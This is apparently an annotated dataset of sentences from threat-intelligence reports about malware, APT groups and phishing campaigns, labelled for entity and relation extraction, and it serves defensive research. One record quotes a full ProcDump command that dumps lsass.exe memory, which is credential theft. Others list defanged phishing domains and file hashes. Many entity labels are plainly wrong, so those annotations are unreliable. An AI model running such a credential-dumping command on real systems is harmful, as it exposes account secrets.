{"id":2849,"text":"It has been reported that the DOUBLEPULSAR backdoor (also from the Equation Group leak by Shadow Brokers) is installed and used to execute the malware after successful exploitation of a host via ETERNALBLUE, but this warrants further analysis.","entities":[{"id":48054,"label":"threat-actor","start_offset":67,"end_offset":81},{"id":8706,"label":"threat-actor","start_offset":90,"end_offset":104},{"id":8709,"label":"vulnerability","start_offset":195,"end_offset":206},{"id":8704,"label":"vulnerability","start_offset":30,"end_offset":42}],"relations":[{"id":383,"from_id":48054,"to_id":8709,"type":"exploits"},{"id":382,"from_id":48054,"to_id":8704,"type":"exploits"}],"Comments":[]}
{"id":3755,"text":" We observed the vulnerability exploited to download webshells, including:  Certain injected commands result in the download of obfuscated Perl scripts.","entities":[{"id":49588,"label":"attack-pattern","start_offset":128,"end_offset":151},{"id":49587,"label":"attack-pattern","start_offset":53,"end_offset":62}],"relations":[],"Comments":[]}
{"id":1256,"text":" This campaign involved five separate phishing attacks, each carrying a different variant of Sysget malware, also known as HelloBridge.","entities":[{"id":46631,"label":"attack-pattern","start_offset":38,"end_offset":54},{"id":46632,"label":"malware","start_offset":93,"end_offset":99},{"id":46633,"label":"malware","start_offset":123,"end_offset":134}],"relations":[{"id":199,"from_id":46633,"to_id":46632,"type":"variant-of"}],"Comments":[]}
{"id":1243,"text":"Because of convenience and popularity, SMS-based IAP will likely continue to spread and increase in worldwide use.","entities":[],"relations":[],"Comments":[]}
{"id":14288,"text":"Code snippet of the process where the Unix timestamp, the device\u2019s Bluetooth adapter name, and the name of user\u2019s Twitter account are combined to produce a device identification name","entities":[],"relations":[],"Comments":[]}
{"id":13248,"text":"Below is a screenshot of the document used in their latest campaigns: Figure 2.","entities":[],"relations":[],"Comments":[]}
{"id":13555,"text":"The malicious behavior performed by the scripts includes page grabbing, credential phishing, web shell infection, and malware delivery.","entities":[{"id":51631,"label":"attack-pattern","start_offset":57,"end_offset":70},{"id":51634,"label":"attack-pattern","start_offset":118,"end_offset":134},{"id":51632,"label":"attack-pattern","start_offset":72,"end_offset":91},{"id":51633,"label":"attack-pattern","start_offset":93,"end_offset":112}],"relations":[],"Comments":[]}
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{"id":257,"text":"Most of these web pages show malicious binaries as popular browsers or communication apps in order to deceive users.","entities":[],"relations":[],"Comments":[]}
{"id":3691,"text":"For the same purpose, on Linux systems, Carbanak attacks can use sudo, a program that permits users to execute the programs of a superuser.","entities":[{"id":49483,"label":"threat-actor","start_offset":40,"end_offset":48}],"relations":[],"Comments":[]}
{"id":4490,"text":"This industry appears to be thriving.","entities":[],"relations":[],"Comments":[]}
{"id":969,"text":" Figure 4. Information uploaded to IP Address used by api.taomike.com  ","entities":[{"id":44914,"label":"DOMAIN","start_offset":54,"end_offset":69}],"relations":[],"Comments":[]}
{"id":5516,"text":"The story so far","entities":[],"relations":[],"Comments":[]}
{"id":3355,"text":"Given that the malware loader was delivered as an executable disguised as a legitimate update installer on a compromised website, we advise users to be careful  with regard to the applications that they download.","entities":[],"relations":[],"Comments":[]}
{"id":1604,"text":"This is the user\u2019s only chance to realize that opening this application is going to cost them dearly.","entities":[],"relations":[],"Comments":[]}
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{"id":9558,"text":"HYPERSCRAPE demonstrates Charming Kitten\u2019s commitment to developing and maintaining purpose-built capabilities.","entities":[{"id":29333,"label":"threat-actor","start_offset":25,"end_offset":40},{"id":29334,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
{"id":3844,"text":"Summary of the changes between each version of ANEL","entities":[{"id":49697,"label":"malware","start_offset":47,"end_offset":51}],"relations":[],"Comments":[]}
{"id":10878,"text":" January 1, 2021  75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b  upn-sec3-msd[.]com  This is likely a testing sample because it provides buttons to test functions.","entities":[{"id":33119,"label":"SHA2","start_offset":18,"end_offset":82},{"id":33120,"label":"location","start_offset":112,"end_offset":118},{"id":33121,"label":"location","start_offset":129,"end_offset":135}],"relations":[],"Comments":[]}
{"id":327,"text":" CryptoWall 2.0 is similar to other ransomware attacks that have plagued users and businesses for nearly a decade.","entities":[{"id":44701,"label":"malware","start_offset":1,"end_offset":15}],"relations":[],"Comments":[]}
{"id":3650,"text":"The specific attack our Unit 42 research team has seen using this technique relied on an attack against a vulnerability in Microsoft Office for which a patch is available.","entities":[{"id":49422,"label":"identity","start_offset":24,"end_offset":45},{"id":49423,"label":"SOFTWARE","start_offset":123,"end_offset":139}],"relations":[],"Comments":[]}
{"id":11576,"text":"The resulting application is signed with a certificate from a company named 3-1 Mobile SRL (Developer ID: 58UP7GFWAA).","entities":[],"relations":[],"Comments":[]}
{"id":1687,"text":"While the SunOrcal malware family has been confirmed to have been active since 2013, possibly even earlier, this new variant has been observed targeting regions outside of the typical target radius for this threat group, now expanding to include Vietnam and Myanmar.","entities":[{"id":5005,"label":"malware","start_offset":10,"end_offset":18},{"id":46877,"label":"TIME","start_offset":79,"end_offset":83},{"id":46878,"label":"location","start_offset":246,"end_offset":253},{"id":46879,"label":"location","start_offset":258,"end_offset":265}],"relations":[{"id":244,"from_id":5005,"to_id":46878,"type":"targets"},{"id":246,"from_id":5005,"to_id":46879,"type":"targets"}],"Comments":[]}
{"id":5293,"text":"If it does not, it performs the following routine:   It redirects both stdout and stderr file descriptors to \/dev\/null.","entities":[{"id":51356,"label":"FILEPATH","start_offset":109,"end_offset":118}],"relations":[],"Comments":[]}
{"id":3501,"text":"The controller retrieving the Marade-related information (top) and collecting Protux-related information (bottom)","entities":[{"id":49296,"label":"malware","start_offset":30,"end_offset":36},{"id":49295,"label":"malware","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]}
{"id":5496,"text":"Confucius\u2019 operations include deploying bespoke backdoors and stealing files from their victim\u2019s systems with tailored file stealers, some of which bore resemblances to Patchwork\u2019s.","entities":[{"id":51501,"label":"threat-actor","start_offset":0,"end_offset":9},{"id":51502,"label":"threat-actor","start_offset":169,"end_offset":178}],"relations":[],"Comments":[]}
{"id":9026,"text":"Infection Flow  Figure 1.","entities":[],"relations":[],"Comments":[]}
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{"id":6206,"text":"The query format used to trigger the XSS vulnerability     Service Worker script exploitation","entities":[{"id":19163,"label":"attack-pattern","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
{"id":3110,"text":"They are information disclosure, not code execution, vulnerabilities.","entities":[],"relations":[],"Comments":[]}
{"id":7557,"text":"Since last December, TA505 has been very active and has been using legitimate or compromised RATs (remote access trojans) such as FlawedAmmyy, FlawedGrace, and Remote Manipulator System (RMS).","entities":[{"id":23565,"label":"location","start_offset":48,"end_offset":51},{"id":23566,"label":"location","start_offset":99,"end_offset":105},{"id":23567,"label":"tools","start_offset":130,"end_offset":141},{"id":23568,"label":"malware","start_offset":143,"end_offset":154},{"id":23569,"label":"location","start_offset":156,"end_offset":159},{"id":23570,"label":"location","start_offset":160,"end_offset":166},{"id":23571,"label":"malware","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]}
{"id":2626,"text":"Data Extortion Group Lapsus$ Telegram channel: t[.]me\/minsaudebr","entities":[{"id":47801,"label":"URL","start_offset":47,"end_offset":64},{"id":7950,"label":"threat-actor","start_offset":21,"end_offset":28}],"relations":[],"Comments":[]}
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{"id":707,"text":"I am sure I am not the only one who has answered a question or two from his mother-in-law about how the Internet is melting down based on what she\u2019s been reading in the press.","entities":[],"relations":[],"Comments":[]}
{"id":6692,"text":"Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.","entities":[{"id":20794,"label":"location","start_offset":21,"end_offset":24},{"id":20795,"label":"location","start_offset":25,"end_offset":33},{"id":20796,"label":"location","start_offset":68,"end_offset":71},{"id":20797,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":20799,"label":"location","start_offset":138,"end_offset":141},{"id":20801,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
{"id":6887,"text":"While it\u2019s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.","entities":[{"id":21537,"label":"identity","start_offset":94,"end_offset":98},{"id":21538,"label":"location","start_offset":104,"end_offset":108},{"id":21539,"label":"location","start_offset":130,"end_offset":133},{"id":21540,"label":"location","start_offset":165,"end_offset":168},{"id":21541,"label":"location","start_offset":200,"end_offset":203}],"relations":[],"Comments":[]}
{"id":5376,"text":"Apart from deleting many important files and even trying to delete the whole root file system, this particular VPNFilter stage also writes many 0xff bytes to the raw flash memory:","entities":[{"id":51371,"label":"malware","start_offset":111,"end_offset":120}],"relations":[],"Comments":[]}
{"id":13936,"text":"For example, a compromised cloud server can go through a complete attack life cycle, from the initial compromise to data exfiltration to resale or use for further monetization.","entities":[],"relations":[],"Comments":[]}
{"id":2839,"text":"Therefore, there appears to be little recon as part of this attack.","entities":[],"relations":[],"Comments":[]}
{"id":2328,"text":"There were a lot of strings and decoding them manually would have taken a long time so we wrote a short Python script to make quick work of the obfuscation.","entities":[],"relations":[],"Comments":[]}
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{"id":7114,"text":"It is the evolved version of HttpBrowser, which the group has been using since at least 2015.","entities":[{"id":22268,"label":"malware","start_offset":29,"end_offset":40}],"relations":[],"Comments":[]}
{"id":837,"text":" While kernel APC attacks aren\u2019t well known and can be hard to understand, their proven success in WanaCrypt0r\/WannaCry and the Petya\/NotPetya make them an important threat to understand because proven attack techniques are quickly adopted widely.","entities":[{"id":2746,"label":"malware","start_offset":128,"end_offset":133},{"id":44880,"label":"attack-pattern","start_offset":7,"end_offset":25},{"id":44881,"label":"malware","start_offset":99,"end_offset":110},{"id":44882,"label":"malware","start_offset":111,"end_offset":119},{"id":44884,"label":"malware","start_offset":134,"end_offset":142}],"relations":[{"id":185,"from_id":44882,"to_id":44880,"type":"uses"},{"id":186,"from_id":2746,"to_id":44880,"type":"uses"},{"id":184,"from_id":44881,"to_id":44880,"type":"uses"},{"id":187,"from_id":44884,"to_id":44880,"type":"uses"}],"Comments":[]}
{"id":2693,"text":"With claims of this RaaS offering the fastest encryption on the ransomware market, coupled with the fact that it has been delivered in high volume by experienced affiliates, this RaaS poses a significant threat.","entities":[],"relations":[],"Comments":[]}
{"id":1093,"text":"Naively, what you need to do is read the cookie file in, add your data to what you\u2019ve read, and write the file back to disk.","entities":[],"relations":[],"Comments":[]}
{"id":4140,"text":"For example, the group uses ProcDump.exe (a tool from Windows Sysinternals Suite that creates dumps of the processes in any scenario), which it renamed bootsys.exe: c:\\users\\public\\downloads\\bootsys.exe  -accepteula -ma lsass.exe C:\\Users\\Public\\Downloads\\lsass.dmp","entities":[{"id":49934,"label":"FILEPATH","start_offset":28,"end_offset":40},{"id":49938,"label":"FILEPATH","start_offset":220,"end_offset":229},{"id":49936,"label":"FILEPATH","start_offset":165,"end_offset":202},{"id":49937,"label":"FILEPATH","start_offset":230,"end_offset":265},{"id":49935,"label":"FILEPATH","start_offset":152,"end_offset":163}],"relations":[],"Comments":[]}
{"id":5141,"text":"That's how we do it.","entities":[],"relations":[],"Comments":[]}
{"id":579,"text":" Ransomware threats are a serious challenge.","entities":[],"relations":[],"Comments":[]}
{"id":5956,"text":"We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.","entities":[],"relations":[],"Comments":[]}
{"id":13450,"text":"This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.","entities":[{"id":41880,"label":"location","start_offset":5,"end_offset":13},{"id":41883,"label":"attack-pattern","start_offset":129,"end_offset":137},{"id":41884,"label":"location","start_offset":138,"end_offset":142}],"relations":[],"Comments":[]}
{"id":3467,"text":"It drops itself in the machine\u2019s Temp folder and increases its file size to over 50MB in order to bypass traditional sandbox solutions.","entities":[],"relations":[],"Comments":[]}
{"id":6319,"text":"At the time, its development was a part-time effort by a security engineer named Chetan Nayak (aka Paranoid Ninja) living in India.","entities":[{"id":19601,"label":"location","start_offset":7,"end_offset":11},{"id":19602,"label":"location","start_offset":40,"end_offset":44},{"id":19603,"label":"location","start_offset":45,"end_offset":51},{"id":19604,"label":"location","start_offset":57,"end_offset":65},{"id":19606,"label":"identity","start_offset":99,"end_offset":113}],"relations":[],"Comments":[]}
{"id":14059,"text":"It appears the attacker is willing to implement multiple mechanisms for infecting the victim machine once it is compromised.","entities":[],"relations":[],"Comments":[]}
{"id":3811,"text":"This tool is responsible for stealing information \u2014 specifically the environment information \u2014 within the target system.","entities":[],"relations":[],"Comments":[]}
{"id":8284,"text":"We then confirmed his location (Libya) as well as his probable identity.","entities":[],"relations":[],"Comments":[]}
{"id":5877,"text":"So [00:10:00] it's an interesting thing that nobody really likes to talk about it.","entities":[],"relations":[],"Comments":[]}
{"id":2515,"text":"We've seen the group stiff victims who pay ransoms, expecting to be able to recover their data.","entities":[],"relations":[],"Comments":[]}
{"id":5213,"text":"An attacker can abuse this built-in discovery feature for remote discovery and fingerprinting.","entities":[],"relations":[],"Comments":[]}
{"id":11651,"text":"The use of malicious documents is one of SideWinder\u2019s most common infection vectors.","entities":[{"id":35765,"label":"location","start_offset":34,"end_offset":37},{"id":35766,"label":"threat-actor","start_offset":41,"end_offset":51},{"id":35767,"label":"location","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
{"id":5311,"text":"For each hard-coded module, the malware creates two pipes before executing them in their own child processes.","entities":[],"relations":[],"Comments":[]}
{"id":14142,"text":"Little can be gleaned from each individual piece, but when viewed as a whole, the group behind Operation Earth Kitsune is likely the same one behind the Freenki malware and other malware campaigns attributed to APT37.","entities":[{"id":48204,"label":"threat-actor","start_offset":211,"end_offset":216},{"id":48205,"label":"malware","start_offset":153,"end_offset":161},{"id":48203,"label":"campaign","start_offset":95,"end_offset":118}],"relations":[],"Comments":[]}
{"id":3247,"text":"The script used to check the username and debug mode     ","entities":[],"relations":[],"Comments":[]}
{"id":2281,"text":"We\u2019ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.","entities":[{"id":47353,"label":"SOFTWARE","start_offset":130,"end_offset":140},{"id":47351,"label":"SOFTWARE","start_offset":28,"end_offset":39},{"id":47352,"label":"malware","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]}
{"id":4473,"text":"Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.","entities":[{"id":50267,"label":"identity","start_offset":13,"end_offset":23},{"id":50268,"label":"threat-actor","start_offset":48,"end_offset":55},{"id":50269,"label":"location","start_offset":60,"end_offset":67}],"relations":[{"id":939,"from_id":50268,"to_id":50269,"type":"located-at"}],"Comments":[]}
{"id":6555,"text":"A closer look at Hack520","entities":[],"relations":[],"Comments":[]}
{"id":2229,"text":"In the event this process is running, the malware will attempt to kill the process\u2019 class window.","entities":[],"relations":[],"Comments":[]}
{"id":5033,"text":"There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.","entities":[{"id":51104,"label":"identity","start_offset":58,"end_offset":64}],"relations":[],"Comments":[]}
{"id":4663,"text":"Once the attacker has logged in to the victim\u2019s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.","entities":[{"id":50570,"label":"malware","start_offset":57,"end_offset":68}],"relations":[],"Comments":[]}
{"id":9106,"text":"Mid-2012 to mid-2014: Honing the Craft Lurk was most prolific during this period, with its series of URL redirection campaigns in Russia becoming more extensive.","entities":[{"id":28111,"label":"malware","start_offset":39,"end_offset":43},{"id":28112,"label":"location","start_offset":48,"end_offset":52}],"relations":[],"Comments":[]}
{"id":3340,"text":"It is well known that the Winnti Group has previously used stolen certificates from game studios to sign its malware.","entities":[{"id":48950,"label":"attack-pattern","start_offset":59,"end_offset":78},{"id":48949,"label":"threat-actor","start_offset":26,"end_offset":38}],"relations":[{"id":507,"from_id":48949,"to_id":48950,"type":"uses"}],"Comments":[]}
{"id":14203,"text":"In many ways, it\u2019s like a social networking site for programmers and developers, one that provides a valuable platform for code management, sharing, collaboration, and integration.","entities":[],"relations":[],"Comments":[]}
{"id":2657,"text":"The group announced that they would not target healthcare facilities, social services, educational institutions, charitable organizations and other organizations that \u201ccontribute to the survival of the human race\u201d.","entities":[],"relations":[],"Comments":[]}
{"id":5037,"text":"Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.","entities":[{"id":51116,"label":"location","start_offset":232,"end_offset":238},{"id":51117,"label":"location","start_offset":243,"end_offset":255},{"id":51113,"label":"identity","start_offset":93,"end_offset":96},{"id":51115,"label":"location","start_offset":223,"end_offset":230},{"id":51112,"label":"threat-actor","start_offset":70,"end_offset":83},{"id":51111,"label":"threat-actor","start_offset":18,"end_offset":29},{"id":51114,"label":"identity","start_offset":111,"end_offset":126}],"relations":[{"id":1046,"from_id":51112,"to_id":51114,"type":"attributed-to"},{"id":1047,"from_id":51112,"to_id":51115,"type":"targets"},{"id":1048,"from_id":51112,"to_id":51116,"type":"targets"},{"id":1049,"from_id":51112,"to_id":51117,"type":"targets"}],"Comments":[]}
{"id":7099,"text":"The certificate has been valid since February 2020.","entities":[],"relations":[],"Comments":[]}
{"id":11288,"text":"After we have gathered the information, the next step is to collect the file from the endpoint using the command \u201ctrendmicro-visionone-collect-forensic-file\u201d.","entities":[],"relations":[],"Comments":[]}
{"id":1832,"text":"A list of security product processes was supplied and subsequently terminated by the driver.      Figure 16.","entities":[],"relations":[],"Comments":[]}
{"id":1938,"text":"However, the domains used by Urpage provided hints about its target.","entities":[{"id":45185,"label":"threat-actor","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]}
{"id":3277,"text":"OpenFFmpegLive  The malware downloads FFmpeg files if they are not found on the victim\u2019s machine.","entities":[{"id":48374,"label":"malware","start_offset":0,"end_offset":14},{"id":48375,"label":"SOFTWARE","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]}
{"id":5637,"text":"The complicated user verification procedure continues.","entities":[],"relations":[],"Comments":[]}
{"id":7218,"text":"Compromised site (received information May 2018) hxxp:\/\/www[.]peaceind[.]co[.]kr\/board\/icon\/image.php","entities":[],"relations":[],"Comments":[]}
{"id":8802,"text":"The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.","entities":[],"relations":[],"Comments":[]}
{"id":14388,"text":"EDR can only go so far on its own to help spot attacks that are exceptionally low and slow, and\/or using unmanaged endpoints.","entities":[],"relations":[],"Comments":[]}
{"id":10072,"text":"Update on 12\/29\/2020 2:40 PM PST:","entities":[],"relations":[],"Comments":[]}
{"id":8455,"text":"APP has a strong track record protecting users \u2013 since the program\u2019s inception, there are no documented cases of an account compromise via phishing.","entities":[{"id":26060,"label":"location","start_offset":10,"end_offset":16},{"id":26061,"label":"malware","start_offset":69,"end_offset":78},{"id":26062,"label":"location","start_offset":86,"end_offset":89},{"id":26063,"label":"attack-pattern","start_offset":139,"end_offset":147}],"relations":[],"Comments":[]}
{"id":11822,"text":"Understanding the techniques used by attackers helps us counter these threats effectively.","entities":[],"relations":[],"Comments":[]}
{"id":3522,"text":"CRestart 2009 \u2013 2014 Use web DNS query to retrieve the C&C IP address, e.g., ip138[.]com.","entities":[{"id":49306,"label":"TIME","start_offset":9,"end_offset":20},{"id":49307,"label":"DOMAIN","start_offset":77,"end_offset":88}],"relations":[],"Comments":[]}
{"id":1441,"text":" Figure 1  These digital certificates, self-signed or not, are the keys to updating apps in the Android ecosystem.","entities":[{"id":46770,"label":"SOFTWARE","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]}
{"id":8592,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":26561,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":26562,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":26563,"label":"location","start_offset":31,"end_offset":39},{"id":26564,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":26565,"label":"URL","start_offset":229,"end_offset":255},{"id":26566,"label":"location","start_offset":256,"end_offset":260},{"id":26567,"label":"URL","start_offset":292,"end_offset":318},{"id":26568,"label":"location","start_offset":319,"end_offset":323},{"id":26569,"label":"URL","start_offset":340,"end_offset":366},{"id":26570,"label":"location","start_offset":367,"end_offset":371},{"id":26571,"label":"malware","start_offset":410,"end_offset":417},{"id":26572,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
{"id":14235,"text":"Although we were unable to find a PlugX sample through that particular GitHub, we surmise some PlugX variants in the wild use this GitHub repository to get their C&C information.","entities":[{"id":48420,"label":"SOFTWARE","start_offset":71,"end_offset":77},{"id":44028,"label":"malware","start_offset":95,"end_offset":100},{"id":44025,"label":"malware","start_offset":34,"end_offset":39}],"relations":[],"Comments":[]}
{"id":3695,"text":"For defense evasion, both groups create or acquire tools for code signing the malware, or deobfuscate or decode files or information by using malware functions or utilities in the system.","entities":[],"relations":[],"Comments":[]}
{"id":4612,"text":"    The Potential Chopper Webshell Execution model triggers when the web shell is already present on the machine and is being used as a backdoor to run commands as SYSTEM on the Exchange Server using China Chopper.  The metrics provided by this model should be investigated carefully, since the ProxyLogon zero-day vulnerability was exploited in-the-wild, before Microsoft addressed the issue publicly.","entities":[{"id":50512,"label":"malware","start_offset":18,"end_offset":34},{"id":50514,"label":"malware","start_offset":200,"end_offset":213},{"id":50515,"label":"vulnerability","start_offset":295,"end_offset":328},{"id":50513,"label":"SOFTWARE","start_offset":178,"end_offset":193},{"id":50516,"label":"identity","start_offset":363,"end_offset":372}],"relations":[],"Comments":[]}
{"id":12401,"text":"Like previous websites we\u2019ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":38549,"label":"location","start_offset":93,"end_offset":99},{"id":38550,"label":"malware","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
{"id":575,"text":"Ryuk will even send out Wake-on-LAN packets to wake up systems that have been configured with this feature.","entities":[{"id":1923,"label":"malware","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":7042,"text":"One argument.","entities":[],"relations":[],"Comments":[]}
{"id":13169,"text":"This version also changes the malware location and its name to UF, an abbreviation for USBferry.","entities":[{"id":41102,"label":"location","start_offset":47,"end_offset":50},{"id":41103,"label":"malware","start_offset":87,"end_offset":95}],"relations":[],"Comments":[]}
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{"id":10243,"text":"Brute force attacks","entities":[{"id":31293,"label":"attack-pattern","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
{"id":3863,"text":"Figure 13: Popup message when users open the document that abuses DDEAUTO  Figure 14.","entities":[],"relations":[],"Comments":[]}
{"id":13586,"text":"The web shell can execute any PHP code sent by an HTTP POST request to the web shell.","entities":[{"id":51673,"label":"attack-pattern","start_offset":4,"end_offset":14}],"relations":[],"Comments":[]}
{"id":666,"text":" Macros Macros are the most straight-forward way for an attacker to weaponize Office documents.","entities":[],"relations":[],"Comments":[]}
{"id":6236,"text":"    Conclusion","entities":[],"relations":[],"Comments":[]}
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{"id":10114,"text":"Trend Micro Detection 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134  2f1a5a7411d015d01aaee4535835400191645023 Backdoor.","entities":[{"id":30834,"label":"location","start_offset":6,"end_offset":11},{"id":30835,"label":"SHA1","start_offset":22,"end_offset":86},{"id":30836,"label":"MD5","start_offset":88,"end_offset":128}],"relations":[],"Comments":[]}
{"id":5305,"text":"For an unknown reason, the malware deletes the aforementioned rules and creates them again, this time using the iptables command via the system() function.","entities":[],"relations":[],"Comments":[]}
{"id":8981,"text":"Interestingly, we found a sample from the Reptile rootkit framework in that same company, as well as network requests to a subdomain that belongs to Earth Berberoka\u2019s infrastructure.","entities":[{"id":27753,"label":"location","start_offset":26,"end_offset":32},{"id":27754,"label":"malware","start_offset":42,"end_offset":49},{"id":27755,"label":"attack-pattern","start_offset":50,"end_offset":57},{"id":27756,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
{"id":9142,"text":"Lurk\u2019s intermediate targets by year 2014 to 2016:","entities":[{"id":28197,"label":"malware","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":9535,"text":"A 2017 Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) report also discussed how Gh0st RAT variants wiped the MBR and replaced it with messages that varied across different samples.","entities":[{"id":29250,"label":"location","start_offset":7,"end_offset":17},{"id":29251,"label":"malware","start_offset":101,"end_offset":110},{"id":29252,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
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{"id":5461,"text":"It\u2019s quite odd (and probably underreported), however, to see it used as a vector for cyberespionage.","entities":[],"relations":[],"Comments":[]}
{"id":862,"text":"In recent years, ransomware families are often glamorized as being some of the most dangerous types of malware.","entities":[],"relations":[],"Comments":[]}
{"id":5030,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.","entities":[{"id":51098,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":51100,"label":"location","start_offset":72,"end_offset":82},{"id":51101,"label":"SOFTWARE","start_offset":180,"end_offset":185},{"id":51102,"label":"attack-pattern","start_offset":199,"end_offset":218},{"id":51099,"label":"threat-actor","start_offset":57,"end_offset":68}],"relations":[{"id":1043,"from_id":51099,"to_id":51100,"type":"located-at"},{"id":1044,"from_id":51099,"to_id":51101,"type":"uses"},{"id":1045,"from_id":51099,"to_id":51102,"type":"uses"}],"Comments":[]}
{"id":8805,"text":"This targeting is consistent with what others have subsequently reported.","entities":[],"relations":[],"Comments":[]}
{"id":8853,"text":"It should be noted that we have also observed an increase use of BLOB files since 2020.","entities":[],"relations":[],"Comments":[]}
{"id":2786,"text":" This new kind of attack tells us that at least some cybercriminals are starting to view theft of victim\u2019s computing power to translate into cryptocurrencies as a better business proposition than the traditional practice of loading malware on the victim\u2019s system through drive-by downloads.","entities":[],"relations":[],"Comments":[]}
{"id":2808,"text":"As with all ransomware attacks, Palo Alto Networks and Unit 42 recommends that anyone affected NOT pay the ransom.","entities":[{"id":45703,"label":"identity","start_offset":32,"end_offset":50},{"id":45704,"label":"identity","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]}
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{"id":14303,"text":"Content of README.txt register.bat is used to gain administrator privilege.","entities":[{"id":48516,"label":"FILEPATH","start_offset":11,"end_offset":21},{"id":48518,"label":"FILEPATH","start_offset":22,"end_offset":34},{"id":48519,"label":"attack-pattern","start_offset":51,"end_offset":74}],"relations":[{"id":441,"from_id":48518,"to_id":48519,"type":"uses"}],"Comments":[]}
{"id":8495,"text":"   Our research teams and threat hunters will work vigilantly to monitor and identify any new threat intelligence and will continue to share updates here: trendmicro.com\/ukrainecrisis.","entities":[{"id":26196,"label":"location","start_offset":22,"end_offset":25},{"id":26197,"label":"location","start_offset":33,"end_offset":40},{"id":26198,"label":"location","start_offset":41,"end_offset":45},{"id":26199,"label":"location","start_offset":65,"end_offset":72},{"id":26200,"label":"location","start_offset":73,"end_offset":76},{"id":26201,"label":"location","start_offset":114,"end_offset":117},{"id":26202,"label":"location","start_offset":118,"end_offset":122},{"id":26203,"label":"URL","start_offset":155,"end_offset":183}],"relations":[],"Comments":[]}
{"id":5285,"text":"Hence, we believe that it is possible that the Cyclops Blink botnet\u2019s main purpose is to build an infrastructure for further attacks on high-value targets.","entities":[{"id":51333,"label":"malware","start_offset":47,"end_offset":60}],"relations":[],"Comments":[]}
{"id":9108,"text":"Lurk also targeted programmatic advertising infrastructures to increase the scale of their operations.","entities":[{"id":28116,"label":"threat-actor","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":4883,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":50892,"label":"TIME","start_offset":11,"end_offset":15},{"id":50893,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
{"id":4782,"text":"To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.","entities":[],"relations":[],"Comments":[]}
{"id":706,"text":"Yes, I said family.","entities":[],"relations":[],"Comments":[]}
{"id":87,"text":"Compromising a user\u2019s browser or a regular home PC will net the criminal an average system for mining coins, but higher-end systems will generate more income.","entities":[{"id":45830,"label":"attack-pattern","start_offset":0,"end_offset":29}],"relations":[],"Comments":[]}
{"id":7566,"text":"This said macro executes a command to download the first stage payload using msiexec.exe, a Microsoft Installer tool that can download and run a Windows Installer file.","entities":[{"id":23605,"label":"identity","start_offset":92,"end_offset":101},{"id":23606,"label":"location","start_offset":112,"end_offset":116},{"id":23607,"label":"location","start_offset":122,"end_offset":125},{"id":23608,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
{"id":8596,"text":"Understanding the techniques used by attackers helps us counter these threats effectively.","entities":[],"relations":[],"Comments":[]}
{"id":14272,"text":"This is presumably used for the device\u2019s ID registration:  Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":3063,"text":"The developer even directly named these \u201cinfected packages\u201d as \u201cfake.virus\u201d in the source code.","entities":[{"id":48138,"label":"FILEPATH","start_offset":64,"end_offset":74}],"relations":[],"Comments":[]}
{"id":5882,"text":"When you think as nation state, what should a nation state be looking at for the future?","entities":[],"relations":[],"Comments":[]}
